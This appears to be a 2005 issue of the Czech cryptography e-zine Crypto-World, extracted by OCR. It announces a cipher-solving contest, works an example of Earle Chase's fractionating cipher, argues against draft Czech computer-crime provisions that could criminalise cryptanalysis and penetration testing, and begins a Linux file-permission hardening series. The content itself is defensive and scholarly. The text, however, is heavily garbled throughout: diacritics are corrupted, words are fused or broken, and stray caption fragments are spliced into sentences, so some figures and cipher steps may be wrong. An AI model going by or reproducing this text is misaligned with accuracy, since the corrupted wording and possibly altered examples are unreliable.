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A. Soutez v lusEni 2005 z&ina!
Pavel Vondruska (pavel.vondruska@-crypto-world.injo

Uvodni informace k soutZi

Vazeni ¢tendi, 20.9.2005 véer zahajujeme jiz traéii podzimni sow o ceny v ludni
jednoduchych Sifrovych tekt Obdobné sogfe pdadal nas e-zin v letech 2000-2004. V roce
2000 byly ulohy zarreny na klasické Sifrové systémy. V roce 2001 &oytokraovala
feSenim "moder)Sich" systém. V letech 2003 a 2004 jsmeégalozili tlohy od kicek, pes
jednoduché Sifry az po klasické Sifrové systémgrigucha zasna, transpozice, periodické
heslo). Letos navaZzeme p&ava Ulohy dvou poslednichdoika

Pokud si chcetefgppomenout tyto starsi ulohy, najdete jejich zadzld:

Soutz 2004:http://soutez2004.crypto-world.info/

Soutz 2003:http://crypto-world.info/soutez2003/index.php

S \/ |ctoSnim budete lustit obdobny typ udloh, to znafsifrové texty od
HAC KI NG jednoduchych h’ée_k pres ukoly, které lze lustit traffjiimi metodami,
ale kieSeni vede i chytry napad, p@st nebo specialni znalost az po
klasické Sifrové systémy. Nargni fady z vas budou letoSni Ulohy
paftit spiSe mezi leti a €m, kterym se budou zdatips ,hrave”
slibuji, Ze pisti rok bude ¥novan zase naopak Kklasickym
kryptologickym postupm.
Pokud se chcete na sébtpiipravit, doporduji prolistovat star&isla
nasich e-zif (a to nejen ¥ovanych sowti), urcité¢ v nich naleznete
néco pro inspiraci a ulohy se vam bud@sit snaze.

pméni exploitace

Pokud jde ofeSeni klasickych Sifrovych systémdoporduji doprovodné texty k prvnim
lekcim prednasky Uvod do klasickych a modernich metod Snd\ALG082. Kurs probiha
na katete algebry MFF UK Praha pod odbornym vedenim docDRN. Tamy, DrSc. a za
spoluprace Vlastimila Klimy, TomaSe Rosy a Pavladfosky
(http://adela.karlin.mff.cuni.cz/~tuma/nciphers.html

StarSiclanky, které se &nuji nekterym Sifrovym systéim neboreSeni sodnich tloh
najdete v naSem e-zinu Crypto-Worldéehto cislech:

Steganografie Crypto-World 9/2000str.2-5

Jednoduché& zangna, Crypto-World 10/2000str. 2-4

Jednoducha transpoziceCrypto-World 11/2000str. 2-6

Substituce slozita - periodické heslosrovnana abeced@rypto-World 12/2000str. 4-10
Fleissnerova oténa mrizka, Crypto-World 11/2004str. 7-8

Jedno-dvoumistna zanina, Crypto-World 11/2004str. 5-6

Popis Sifry PlayFair, Crypto-World 3/2005str. 11-14

DeSsifrace textu zaSifrovaného EnigmouCrypto-World 78/2005ptiloha

Zlomkovy Sifrovaci systém - Earle ChasehdCrypto-World 9/2005 , str. 4-5

Reseni Uloh r@&niku 2004 Crypto-World 12/2004celégislo
Reseni Uloh r@&niku 2003 Crypto-World 12/2003celégislo
Reseni Uloh ré&niku 2001 Crypto-World 1/2002str. 2-15
Reseni Gloh r@&niku 2000 Crypto-World Vanoce/20QGelécislo
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Pravidla

SoutZ za&ina 20.9.2005 rozeslanim e-mailu s vyzvou k &uwsSem odbrateiim e-zinu
Crypto-World a koni 27. listopadu 2005 ve 20.00 hod.¢a8tnit soutze se mze pouze
registrovany odératel e-zinu Crypto-World. Vstup na stranku sdetbude fes domovskou
stranku Crypto-Worldu - ikon&outZe nebo pimym volanim sowni stranky (jeji adresa
bude zvéejréna dodaténe a zaslana spale¢ s kddy k registraci do saifte).

Pt registraci musieSitel zadakdd soutZze 2005 ktery mu bude zasla
20.9.2005 spola¢ s vyzvou k sowti). (Poznamka. Kod satite 2005

bude zaslan i vSem névregistrovanym odivatelim e-zinu Crypto- 'n!?:]‘».‘,ljji
World, ktei se lshem soutZe k jeho odéru piihlasi. MySQL
SoutZici dale zada svdizivatelské jméno a autentira heslo pro ‘,ﬁt

opétovné ihlaSeni a dale e-mail, na ktery mu je zasilanne&iypto-
World. Tento e-mail se dale na strance nezobraauje pro ostatni
navstvniky soutZe nedostupny. SlouZi pouze k odesilani pokgn =" ===
informaci soutZzicim a k o¥ieni, Ze uzivatel je registrovanym a@datelem e-zinu.

Na strdnce budou postuprzveaejiovany soutzni ulohy. Za vyeSeni uUlohy se ifpisuji
soutzicimu body. Registrovanigsitel nize zadavat své odp&di pres www rozhrani (vzdy
velkymi pismeny a bez mezer!). Odgdvbude automaticky vyhodnocendesitel se ihned
dozvi, zda odpadél spravré nebo ne.

Na strance sodite bude zviejiovan aktualni prbéh soutze. U kazdéhdesSitele bude v
celkovém Zeficku uveden peet dosaZzenych bdda Ize se podivat i na faxdi tloh, ve kterém
je soukzici vyresil.

O poradi sougzicich rozhoduje celkovy péet dosazenych bod, v pripadé rovnosti bodi
je rozhodujici, kdo dosahl tohoto pétu boda drive! V pripad, Ze soutzici jeS€ neziskali
Zzadné body, jsou uvedeni podleadi registrace.

Pro uréeni celkoveho péadi je rozhodujici stav 27. listopadu 2005 ve 20.0®md.
Prvni t¥i reSitelé ziskaji cenu automaticky. DalSift ceny se vylosuji mezieSitele, ktei
dosahnou alespi patnact bodi.

Ceny

Pro vitze celé sodte je gipravena hlavni cena - bezplatndast na
mezinarodnim kryptologickém workshopu MikuldSskayptobesidka = &
(http://www.buslab.cz/mkb/ ktery se kona 1. prosince v Prazeiddatel >
5. ratniku TNS (Trusted Network Solutionkttp://www.tns.cz) hradi za _:,T

vitéze registrani poplatek a zve jej srde¢ na tuto akci.

Prvni ti teSitelé ziskaji ceny, kter&movalo nakladatelstvi Zoner Pre
(http://www.zonerpress.cg/ a Krélovska hti  (http://www.royal-
glassworks.c)/ Lustitelé dostanou jednu z knih HACKING - &m
exploitace nebo Velka kniha PHP 5 a MySQL a dalgpsavu dvowiisi, které jsou kopie dle
originalu z 16. stoleti.
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Ceny ziskaji i dalSifit lustitelé, kteéi budou vylosovani zéth, ktei
dosahnou alespigpatnact bodl. V tomto gipadt se cena sklada z knih
nakladatelstvi Zoner Press a jedi®&e - historické repliky.

Dékuji touto cestou vSem sponzion soutze:
TNS (Trusted Network Solutiong)itp://www.tns.cz 20“er
Zoner Presdittp://www.zonerpress.cz/

Kralovska hti, s.r.o. http://www.gobchod.cz m

Na vyplreni ¢casu do z&tku sowtZze si miZzete gecist par informaci o jedné mé&mznamé
Siffre, teba se vam to bude hodit ...

Zlomkovy Sifrovaci systém Earle Chaseho

Jedna se o specialnfidu Sifrovych systéfy které jsou porrné bezpéné a relativa
jednoduché na realizaci. Svymi parametigkpnavaji tyto systémiadu jinych klasickych
Sifrovych systém. Nazev zlomkovy systém je odvozen z toho, Ze pisnmeveného textu

je nejprve vyjageno pomoci dvojicetisel. Tato dvojice lze zapsat do podoby zlomku.
Algoritmus pak pracuje zvl&ss hodnotami uvedenymi ve jmenovateli neltateli, Sifrovy
text se pak ziska évnym gevodem ,zlomk" (dvojic ¢isel) na pismena.

Chase vysel 2Ziselného digrafického systému, ktery dale vyznamapasobem doplinil a to
0 Upravu (substituci) druhych s@alnic Sifrovych znak

Systém lze nejlépe vystlit na jednoduchémijkladu.

1) Nejprve se vytvi prevodova tabulka otégnych znak na dvojici¢isel.

1/2/3[4|5(6]7]8]9]0
1 A|LIB|]T|IR|O] S| C|] Dl E
2/ FIG|H| 1] J| KIMN|P|Q
3|IU|VIW|X|Y|Z]|= Ll ?

DuleZité je dodrZet pro Ztnou transformactisel na znaky, aby byla pouZity pro sloupcovy
index vSechnaisla 0-9 a tabulka (bez ohledu natebradki) byla plré obsazena. Tj pro
kazdé moznécislo ukené dvojici sotadnic fadek/sloupek byla gakd hodnota znaku
v tabulce definovana. Z tohotaivbdu jsme doplnili mezinarodni abecedu, ktera dadsk

z 26ti znak o dalSi 4 znaky (=.!?). Znaky, které jsme doplm&musi byt pouzityippievodu
oteweného textu naiselny tvar, ale jsou zde nutné pro vy zaSifrovaného textu pomoci
abecedy.

Hodnoty, po pevodu pomoci tabulky, se zapisuji do dwadki. Do prvnihoradku budeme
zapisovatadkovou sotadnici ugujici pozici pismene v tabulce (rfapro N to bude 2) a do
druhéhotradku sloupcovou sdadnici (pro N to je 8). Podle tohoto pravidla dostae pro

nami zvoleny otekeny text tento tvar:
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Otev reny text: NOVY TYP SIFRY
Prepis podle tabulky:

1. radek 2133 132 12213
2. radek 8625 459 74155

2) Nyni pgichazi zakladni Chaseho mysSlenka — navrhl upravpeakze hodnoty ve druhém
fadku. Napiklad navrhl vSechny hodnoty druhékémku vynasobit postuprdeviti a vysledek
podle stejné tabulkyipveést zpt na pismena.

Chaseho Uprava:
1. réadek 1213313212213
2. radek 7 7629 137 67395

3) P revod na Sifrovy text

Ve tSirg pripadi bude dolnitadek po vynasobeni deviti delSi o jednu pozici &isio
v prvémiadku. Pro fevod na pismena podle vySe uvedené tabulkjepojeme mit prvé
¢islo definovano nejen hodnotou sloupce (v naSéipag cislem 7), ale pdebuje icislo
fadku. Na této hodnétnezavisi a tak doplnime libovolnou hodné&dku Sifrovaci tabulky
(mame vybr z hodnot 1, 2 nebo 3). V naSem ukazkovéipart zvolime hodnotu 1.

Nyni prevedeme podle tabulky text&ma pismena. Je mozné pro tentevod vytvdit jinou
pirevodovou tabulku. My vSak pouzijeme (tak jak naw®hbse) pevodovou tabulku stejnou.

Sifrovy text : S MOV! AWM OMHEY
1. radek 12133132 12213
2. radek 7 7629 137 67395

Vysledek tohoto fevodu je hledany Sifrovy text : S MOV! AWM OMHEY

Earle Chase navrhl v kKibvém kroku tohoto Sifrového systému i sl¢gt apravy druhého
fAdku. Nap. k dolnitad cislic doporuil piipocitavat smluvenéiselné heslo nebo vyuzivat
logaritmickétrady apod. Pokud si chcete systém upravit viastrgisabem — nezapomte,

Ze Uprava musi byt takova, aby existoval&tz@ transformace a aby byla jednoaméa

V opaném gipact by takovy systém wh skoro stejnou hodnotu jako metoda Trithemiova,
ktery dopordoval swfit dodani zpravy ardovi. PiSi skoro stejnou, neboTrithemiova
metoda by byla odto lepSi. V obouifjpadech seffiemce nedozvi, co bylo obsahem zpravy
(pokud @ijmeme fakt, Ze angé neexistuji), ale vifpadt dodani zaSifrovaného By
nedesifrovatelného) textutrbe byt gijemce kompromitovan jiz jen tim faktem, ze sk&ym
vyménuje Sifrovou korespondenci a stat sétohajmu vySaovatel...

4) DeSifrace. Pouzity systéem je velmi lehce degdtelny (prosim neplést s lustitelny).
Prijemce k tomu pdebuje mit pouze stejnodgvodovou tabulku. iaty Sifrovy text geved
podle tabulky z textové podoby diselné. Druhyrddek vydli deviti a vypusti prvni znak
v prvémriadku. Ziskané hodnoty v prvém a druh&udku tvdi sodadnice znak oteweného
textu.
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B. Bude kryptoanalyza vCesku trestana ¥zenim?
Vlastimil Klima, kryptolog,http://cryptography.hyperlink.cz

Pokud s tim #&co pani poslanci nedthji, tak az sko&im predndsku o kryptoanalyze na MFF
UK, pijdu se pihlasit na Policii, Ze jsem spachal trestfiig. A ti, kdo provadi penetéai
testy nebo administraticsiti, ktei testuji slaba heslagjlou asi také.

V letmé informaci jsem se dostal k projedndvanéexiut viadniho navrhu trestniho zakona.
Jeho § 205 mvyvedl z miry, protoZze by postavil kryptoanalyzimmn zakon a penettai
testovani do sloZité situacereBtéte si @ilozené zgni ti vyjmutych paragrdf v dodatku a
pak posd'te sami, jestli jsou nasledujici obavy zliyté. Doufam, Ze ano nebo Ze budigap
pozmenovaci navrh.

Zatnéme vynatky. Upozoiiuji, Ze citlie, ale gece jen jsou vytrzeny z kontextu navrhu
trestniho zakona - viz radek.

§ 204: ... Kdo ..neopravnéné ziska gristup k potitaéovému system ... bude potrestan
odretim svobody aZ na jeden rok...

§ 205: ... Kdmeopravréné ... zpristupni... paitaéové heslo pomoci nichz Ize ziskat
pristup k p@itatoveho systému..., bugmtrestarodrétim svobodyaz najeden rok...

Rikate si, Ze to je Zert? Bohuzel neni.

Na MFF UK studenty &im tuto definici:
Moderni kryptoanalyza jeéda o hledani slabin nebo prolamovani matematickyetod
informani bezpénosti.

Konkrétni pouziti kryptoanalyzy sfruje pra¥ k tomu, aby sefijpadné slabiny odstranily. K
tomu je nutné je zvejnit, Wit se o nich, publikovat na mezinarodnich konfefeimcZ druhé
strany je to zcela jis€ také mozné chpat a vyuzit to jako navod na zneu#i
rozpoznanych slabin ke skut&né nezakonné ¢innosti. Véda slabiny odhaluje, ale
nezneuzivid. ¥ce bychom tedy trestat neélin méli bychom trestat ty, kdo zneuZivaji
védecké poznatky k pachani nezakogmiosti.

Sowasny navrh 8§ 204-206 trestniho zakona vSak vyvol@léni vazné pochyby, téfn
jistotu, Ze potrestan bude ddec.

V sazce je

1) Vyuka modernich metod kryptoanalyzy na vysok§kblach a univerzitach (konkrétma
MFF UK) .

2) Védecky gispivek na mezinarodni konferenci.

3) Védecky nazor na odborném internetovém foru, web&tgumi konferenci, diskusni
skupire.

4) Publikace wdeckého pispevku na serveru mezindrodni organizace pro kryptokyg
vyzkum (IACR).

5) Soukromé e-maily s kryptology diskutujici kryptalytické metody.
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6) Ucast ve véejnych mezinarodnich saifich na prolomeni kryptografického algoritmu
(DES, RSA, ECC, MD,..) - je to dokonceél@no pro znanou finartni odneénu, tedy dalo by
se to kvalifikovat jako lustici prace na objednavku

7) Védeckeé granty, financované statem (vysoké Skolywermity a dalSi statni organy)

8) a dalsi.

Nékteré nasSe ifispivky, které jsme publikovali s kolegou dr. Rosou wsbornicich
mezinarodnich kryptologickych konferenci nebo nabuw@ACR, prispély ke zkvalitnéni
obrany informaénich systén@ proti Utok am, ale jen proto, Ze jsme tyto slabiny odhalili
Napriklad kdyby bylo zneuzito publikovani utoku na il SSL, gineslo by to odhaleni
piistupovych hesel a privatnich bankovnich informtedy pra¢ toho, oc¢em zakon mluvi.
Pokud by banky neimplementovaly nami dogemnge Upravy a obranu, mohly by vzniknout
znané Skody v mezinarodnimétitku. Podob# i dalSi naSe kryptoanalytické vysledky, které
ziskaly uznani na mezinarodnim poli, by mohly bytné ocesny Uplrg jinym zpisobem.

Protoze jsem laik v oboru prava, ziskal jsem spgles Mgr. Pavlem VondrusSkou odpsmii
dvou odbornik na zrni navrhovaného zakona, viz dodatky niZe. BohuZejenobavy
nerozptylili, spiSe je potvrdili. Zé&vem je, Ze text neni dobry, ahby se zninit.

Poslal jsem proto prosbu pani JUDr. Parkanowédsedkyni Ustawh pravniho vyboru
Poslanecké smovny Parlament@R o z&azeni pozmovaciho navrhu. BohuZel jsem zatim
nedostal odpaxd’ ani potvrzeni o fijeti e-mailu. Mozna se panigusedkys jeS€ nedostala
k e-mailu, ale ¥im, Ze mi odpovi.

Na z&¥¢r jeS€ pozndmka. Usdomil jsem si, Ze ve stejné situaci budou pegediobrg i ti,
kdo planuji a provadi penetrd testy. Tady se mohu mylit, takZze téepechavam jim na
zvazeni a poradu s pravniky. djspenetrovani je vzdy pokryto smlouvou. JenZze z§kon
porgkud vysSi norma. To za prvé. A za druhé - je vadiusre pokryto vSe? VSechny cesty a
metody penetrace? A bude i nadale VSE podle nozékona zakonné? Nejsem odbornik na
penetraci ani pravo, ale pokud bude v ohroZeni tkeypalyza, zabyvajici se¢deckymi
otazkami odhalovéani slabin a prolamovani matemgaticknetod informéni bezpénosti, pak

je otazka, nakolik bude pra¥zajiStna zcela prakticka "bila" hackers&anost.

Az bude zakon schvalen, bude mnohem hoiifinput zmeény nez te’, kdy je na to fimo
vyhrazenc¢as. Proto prosim vSechny, kdo magijaky zajem na zené, aby se pokusili
n¢jakym zpisobem zmané pripravovaného textu zakona napomaoci.

Dodatek ¢. 1: Trestni zakon - vladni navrh II.

8 204
Neopravnény pristup k potitaéovému systému a poSkozeni a zneuziti zaznamu v
pocita¢éovém systému a na noé&i informaci

Kdo poruSi bezpmostni opaeni a tim neoprawmé ziska pistup k pd@itacovému systému
nebo k jehacasti, bude potrestan o&tim svobody az na jeden rok, propadnuti#gsiwnebo

zékazentinnosti.

(1) Kdo ziska pistup k p@itacovému systému nebo k néisinformaci a a) neopra¥né uzije

data uloZzena v gitatovém systému nebo na néishformaci,
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b) data uloZena v gdacovém systému nebo na nésinformaci neoprawné vymaze nebo
jinak zniti, poskodi, zrani, potl&i, snizi jejich kvalitu nebo jecini neupotebitelnymi,

c) pacla nebo pozmni data ulozena v g@acovém systému nebo na néisinformaci tak,
aby byla povazovana za prava, nebo podle nich jedoano tak, jako by to byla data prava,
bez ohledu na to, zda jsou tato datianp ¢itelna a srozumitelnd, nebo

d) neopravane vlozi data do p&tacoveho systému nebo na nbgiformaci nebo &ini jiny
zasah do programového nebo technického vybaveitep® nebo jiného technickéhorzzeni
pro zpracovani dat, bude potrestan &iin svobody az na dviéta, propadnutim&ci nebo
zékazentinnosti.

(2) Odretim svobody na Sestdsial az ti léta, propadnutimdci nebo zadkazertinnosti bude
pachatel potrestan, spachétt uvedeny v odstavci 1 nebo 2

a) v umyslu zpsobit jinému Skodu nebo jinou Ujmu nebo ziskatésolebo jinému
neopraviny prosgch, nebo

b) v imyslu neoprawimé¢ omezit funknost pa@itacoveho systému nebo jiného technického
zaizeni pro zpracovani dat.

(3) Odretim svobody na jeden rok aZtget nebo pe#vitym trestem bude pachatel potrestan,
a) spacha-ltin uvedeny v odstavci 1 nebo 2 jallen organizované skupiny,

b) zpisobi-li takovym¢inem zn&nou Skodu,

c) ziska-li takovyntinem pro sebe nebo pro jiného &n@a prosgch, nebo

d) zpisobi-li takovymcinem vaznou poruchu&innosti statniho organu,

jiného organu viejné spravy nebo samospravy, pravnické osoby nghiokE osoby, ktera
provozuje podnikatelskotinnost podle zvlastniho pravnihéeplpisu, statniho podniku nebo
jiného podniku.

(4) Odretim svobody naftti léta az osm let nebo propadnutim majetku budehatat
potrestan,

a) zpisobi-li¢inem uvedenym v odstavci 1 nebo 2 Skodu velkéhsaioz, nebo

b) ziska-li takovyntinem pro sebe nebo pro jiného prédpvelkého rozsahu.

§ 205
Opati‘eni a prechovavani Fistupového z#&izeni a hesla k pditacovému systému a jinych
takovych dat

Kdo neopravéné vyrobi, uvede do athu, doveze, vyveze, proveze, nabizi, zpesituje,
proda nebo jinak zfstupni, sob nebo jinému opéitnebo pechovava

a) zdizeni nebo jeho sd@dést, postup, nastroj nebo jakykoli jiny piestek, wetns
pocitacového programu, vytweny nebo fizpusobeny k spachani trestnéhéinu
neopraviného pistupu k pdéitacovému systému a poskozeni a zneuziti zdznamu v
pocitacovém systému a na nosiinformaci podle 8 204 nebo trestnébimu porusovani
tajemstvi dopravovanych zprav podle § 157 odsfstnpb), c),

b) paitatové heslo, fistupovy kod, postup nebo podobna data, pomociznich ziskat
pristup k p@itacového systému nebo jeltasti, bude potrestan ogtim svobody aZz na jeden
rok, propadnutim &ci nebo zakazerinnosti.

(5) Odretim svobody az naitléta, propadnutim &ci nebo zakazendinnosti bude pachatel
potrestan,

a) spacha-ltin uvedeny v odstavci 1 jakden organizované skupiny, nebo

b) ziska-li takovyntinem pro sebe nebo pro jiného Zng prosggch.

(6) Odretim svobody na Sest dsial aZz @t let nebo propadnutim majetku bude pachatel
potrestan, ziska-ginem uvedenym v odstavci 1 pro sebe nebo pro jipgbsgch velkého
rozsahu.
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8 206
PosSkozeni zaznamu v pota¢ovém systému a na noé&i informaci a zasah do vybaveni
pocita¢e z nedbalosti

Kdo z nedbalosti poruSenim povinnosti vyplyvajiei zangstnéni, povolani, postaveni nebo
funkce nebo uloZené podle zakona nebo sndpievzaté

a) data uloZzena v paatovém systému nebo na n&sinformaci znéi, poskodi, pozrni
nebo ¢ini neupotebitelnymi, nebo

b) wini zasah do technického nebo programového vybaitace nebo jiného technického
zaizeni pro zpracovani dat, a timiaspbi znanou Skodu, bude potrestan étim svobody az
na Sest r&sial, propadnutim &ci nebo zakazeminnosti.

(7) Odretim svobody az na @viéta, propadnutimeéei nebo zadkazeniinnosti bude pachatel
potrestan, zjsobi-li¢inem uvedenym v odstavci 1 Skodu velkého rozsahu.

Qodatek &. 2: Stanovisko prof. Smejkala, rektora VSFS¢lena Legislativni rady viady

CR

PIr¢ chapu kryptology, Ze jsou zneklign navrhovanym z&nim ust. § 205. Uvazovani
matematické, natoz pak kryptologické totiz k tomuytladu, ktery nazyvame gramatickym,
svadi. Obavat se ale dle mého nazoru nemusejipailese @FliS, neba je treba dané
ustanoveni vylozit v SirSim kontextu, a to jednakufitim rozboru logickéhoci
teleologického. Na druhou stranu musim ale konetdfoZze z@ni ust. § 205 neni zcela
presné, a to ani ve vztahu k mezinarodni ulawniz pochazi.

Mozna bychom mohli zdt prikladem z jiného, kypodobného oboru: zakmk nejen vyrabi
zamky a otevira zabouchnuté tiweale také zkouma, jak jsou zamky vymysleny abjpke
piipadré bylo mozno otekit. Pro svoji patebu, tj. otevirani dvéci trezott jejich vlastnikim

si zhotovilfadu ponicek, které toto otevirani z&r@ usnaduji. Je nebez@é Ze bude trestn
stihan? Nikoliv, alesppdo okamZziku, nez otée trezor jiné osah) neZli vlastnikovi, nebo
proda své sofistikované pdicky kasai.

Podobri tomu je i v pipac ust. § 205, nehbje treba si ugdomit, Ze nutnou podminkou
naplreni této skutkové podstaty je znak ,neopré&wsti. Navic v deliktiu popsaném v pism.
a) je jask uvedeno, Ze se tak musi stat Zelém pachani zde vyjmenované trestimiosti.
Ano, vpism. b) neni jiz uvedeno, Ze ma byt dosaZzemopraviéného pristupu k
pocitacovéemu systéemu — tady si myslim, Ze by bylo mozné te/lepSit. Nikoliv ale
z hlediska absolutni chyby, vedouci k totalnimuodkni kryptolog trestnim stihanim, ale
z hlediska jednodussiho vykladu a chaparZnbu véejnosti.

Nicmére ani bez tohoto dopku si nemusi kryptologové balit zavazadla k emigrékutkové
podstaty trestnyckinti neopraviného pistupu k pditatovému systému a poSkozeni a
zneuziti zaznamu v paacovém systému a na nosiinformaci (8§ 204) a op#&ni a
pirechovavani fistupového zidzeni a hesla k gétatovému systému a jinych takovych dat (8§
205) jsou zkazeny do navrhu trestniho zakona na zaklachluvy Rady Evropy o piiacové
kriminalite,* (Budapes, 23. listopadu 2001), kdy byléeba zapracovat zejméikinky 2 az
11, které stanovi kriminalizaci nezakonného ziskpii§tupu k pditacovému systému,
nezakonného odposlechu giacového systému technickymi preéstiky, neopravného
poSkozeni, vymazani, sniZzeni kvality, pémmi nebo potléeni p&itacovych dat, ktera jako
SirSi pojem zahrnuji i gdtacové informace, omezovani futitosti p&itacového systému
pomoci manipulace s piwacovymi daty, p@itacoveho padani, dale vyrobu, prodej, ogahi
za (telem pouziti, drZzeni, dovoz, distribuci arigupiovani zaizeni, ktera jsou vytiena

! Convention on Cybercrime (ETS no. 185), ltip://conventions.coe.int/
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nebo uzpsobena k pachani uvedenych trestn§icti podleélanka 2 az 5 uvedené Umluvy,
nebo gistupovych hesel, kdda podobnych potacovych dat,_ pokud ma pachatel v umyslu
tato zdizeni nebo kody pouzit ke spachani uvedenych frelstini podleclanki 2 az 5
uvedené Umluvy Zde méame tedy vykladové voditko, Ze postihovamadyt autor, ale
pachatel, kteryéchto postup vyuZije.

Mozna bychom nejpustnost trestni odpésinosti v gipadc vyuky, vyzkumu a vyvoje mohli
odvozovat nejednoduchou cestainm z ust. § 13, definujici trestdin jako ¢in protipravni;
vzhledem ke zminé koncepce zakona na tzv. formalni pojeti trestnéhmu, kde jiz
nenajdeme pojmovy znak ,pro spét®st nebezpmy cin“, jako tomu je ve stavajicim
trestnim zako# to nemusi byt &bec lehk&i dokonce mozné.

Novy zakon v ust. § 31 —fpustné riziko — uvadi, Ze trestdin nespacha, kdo v souladu s
dosazenym stavem poznani a informacemi, kte¢evrdobé svého rozhodovani o dalSim
postupu, vykonava v ramci svého zZmtmani, povolani, postaveni nebo funkce spareky
prosgsnou ¢innost, kterou ohrozi nebo porusi zajem chBngntrestnim zakonem, nelze-li
spole&ensky prosgsného vysledku dosahnout jinak. Zde by ale asion@stb ustanoveni
vztahnout na kryptology — amatéry, natoz hackdeypeavdpodobré pro WtSinu gipadi, dr.
Klimou uvedenych, je mozné je aplikovat.

Podle mého nazoru nelze tedy podle daného ustanae&ih maso¥ posilat kryptology do
vézeni. Cin musi byt protipravni a damysiny — tzn. dle méhéizaru se toto ustanoveni
nevztahuje na vyrobu aténi prostedki pro testovani a zajiévani bezpénosti IS/ICT.
Nechépu ale, ptoani v zakos, ale zejména ani viodové zpray k nému, jiz nenajdeme
dal$i odstavec Umluvy Rady Evropy o piiacové kriminalig, kde seika: ,This article shall
not be interpreted as imposing criminal liabilitheve the production, sale, procurement for
use, import, distribution or otherwise making aahié or possession referred to in paragraph
1 of this Article is not for the purpose of comnmtf an offence established in accordance
with articles 2 through 5 of this Convention, sashfor the authorised testing or protection of
a computer systerh

VySe uvedené ifpominky by mohly byt vyuZity pro poslanecky paamovaci navrh, coz
vzhledem ke stadiu projednavani nového trestnikormije prav nyni mozné. Je néeské
kryptologické obci, zda vyvine takovou iniciativu.

Prof. Ing. Vladimir Smejkal, CSc., rektor VysokéoBk financni a spravni v Prazeen
Legislativni rady vliady

Dodatek ¢. 3: Stanovisko Mgr. Zbytika Loebla, LL.M. z CEAG

V e-mailové odpogdi se vyjadil velmi jasre:

"Souhlasim s panem prof. Smejkalem, Zeigba navrhnout zému navrZzeného ustanoveni
tak, aby nebylo v rozporu s mezinarodni Umluvonalihrozi az zneuziti tohoto ustanoveni,
nejen spory o vyklad."

Mgr. Zbyrék Loebl, LL.M., vedouci konzultant CEAG (CENTRAL HROPEAN
ADVISORY GROUP), cesky zastupce v IT Law Group Europe, asociaci pcdvn
poradenskych firem v Evré@pspecializujici se na inforrai technologie, telekomunikace a
pravni problémy tykajici se nové ekonomiky.
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C. Hardening GNU/Linux, ¢ast 1.
Jak funguji pfistupova prava soubofi
Josef Kadlec, student FJEVUT Praha, josef.kadlec@gmail.com

Uvodem nutnotici, Ze tento serial se bude zabyvat vybranymikatéd z problematiky
bezpeénosti GNU/Linuxu (dale jen Linuxu) na Urovni opé&ného systému. Bkdy se ¥ejme

vyskytne jemna provazanost s Urovnitosbu. Samoiejmé techniky jsou ¥tSinou

aplikovatelné i na ostatni opér systémy z rodiny Unik

Zanmgtime se pedevSim na nejvySSi vrstvu, kterou je bé&ppst na uzivatelské Urovni.
Projdeme takéfes aplik&ni Urovei a lehce se dotkneme i Uravkernelu. Rozebirana bude
tedy opravdu vysokour@ova bezpénost operéniho systému Linux — od nativnich
mechanism jako jsou prava uZzivatgl pres vybrané problémy bezpsti Linuxu a chyb,
kterych se administréto dopoustji az po sofistikovagsi systémy, které poskytuji
nadstandardni moznosti Linux hardeningu. Po prgjtidto serialu by & byt kazdy schopen
zajistit kvalitni lokalni bezpsgnost OS Linux.

A ted jiz konkrétreé k problematice. | kdyZ by se daliwi, Ze problematika souborovych prav
a uzivateh je zakladnim kamenem bezpesti v OS Linux, vsadim se, Ze ne vSichni z vas
maji v problematice Uptnhjasno nebo vi o vSech moznostech, které se nabiiepabyvani

se problematikou bezpeosti se bez znalosti této problematiky neobejdeilirux je
viceuZivatelsky opetai systém. Tzn. Ze se do systemiwmgihlasit vice uZivatel - a to i

ve stejny moment. V ramci zabezZpai uZivatel a nakonec i celého systému je proto nutné
souborova prava zavést.

Konkrétni znalosti souborovych prav, které Wtim vzagti, je poteba vyuZzit k vytveeni
spravné politiky pistupovych prav. Situaci nam usmagl vyvojai distribuci, ktéi v
distribucich uitou bezpénosti politiku zavagji, takze nam sta vétSinou pouze modifikovat
sowasna pistupova prava. U &Sich distribuci jako Mandrake, Fedora Core, Debian
Slackware atd. by se nam v gaané dob nentlo stat, Ze po nainstalovani budatispupova
prava rjak katastrofala nastavena.

OvSem je pdtba se vyvarovat nebezpgm zasatim do tohoto nastaveni jako rrdgtad by’
jen nech&né nastaveni prava zapisu pro ,ostatni“ na soddtm/passwdcéimz bychom de
facto aplre odstranili systém zastinych hesel. Toto byl vSakiipad, ktery spiSe vypada na
sabotaz ze strany superuZivatele, nez waghkrok, ale vazné problém§astji plynou z
mnohem prostSich situaci, jako hi&fad Spatné nastaveni prav na domovskych atiobsa
které se mize lehce vyskytnout, pokudigavame dalSi uzivatele.

Déle se nafiklad doporduje nastavovat prava pro adrieghoot jen pro ¢teni. V tomto
adreséi by se nél nachazet zkompilovany kernel a par dalSich sauhako napiklad
System.mapS €mito soubory je ¥Sinou manipulovano pouze Wipads, kdy se mini
samotny kernel. PoSkozeni, z&m nebo modifikacethto soubal mize znamenat pohromu
pro systém (resp. pro bezpest systému). DalSim problémemuze byt nastaveni
pristupovych prav soubordev/tty ktery by n¢l mit nastaven mo@66, aby se zameziléteni
cizich terminai.

Zvlastnim pipadem je adregdtmp do kterého maji implicith plnd prava qrwxrwxrwi
vSichni uzivatelé. VSimime si, Ze na tomto adrésge aplikovan sticky bit (vyswtlim
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pozckji). Proto také byva tento adréséyuzivan k iznym nekalyméinnostem - od ulozist
velkého mnoZstvi dat, cozike zmsobit zaplgni diskového oddilu az po misto, odkud Ize
lehce spoust soubory jako najklad shelly, ¢ehoz se hog vyuziva v fiznych
exploitovacich technikach. Neihbychom také zapomenout na vhodné nastaveni wycho
prav gikazemumask

Pristupova prava soubbbumoziuji uzivateli omezeniistupu k soubdim a adres@m (coz
jsou v podstat také soubory, které odkazuji na dalSi souborytopto réekdy nebudu
rozliSovat).

Zde vidime ukazku zobrazeni souborovych prav:

pepa@workstation$ Is -la | grep .tuxracer
drwxr-xr-x 2 pepa users 4096 1is18903 .tuxracer

Nas bude pedevSim zajimat prvriast vypisudrwxr-xr-x. Dilezité je také si vSimnout, Ze
vlastnikem souboru je uzivatpepaa k souboru se vaze skupinsers Ostatni polozky nas
zatim nezajimaji - samigme krome posledni polozky, coz je jméno soubdradresée.

Rozeznavameitdruhy prav. Prvni je pravo rideni (znakr) - u adresé&e znamena prohlizeni
jmen soubak. Druhé je pravo zapisu (znak - u adresée znamenaiavani a odstrgvani
souboti. Tieti pravo je pravo ke spousf (znakx) - v piipad adresée znamena toto pravo
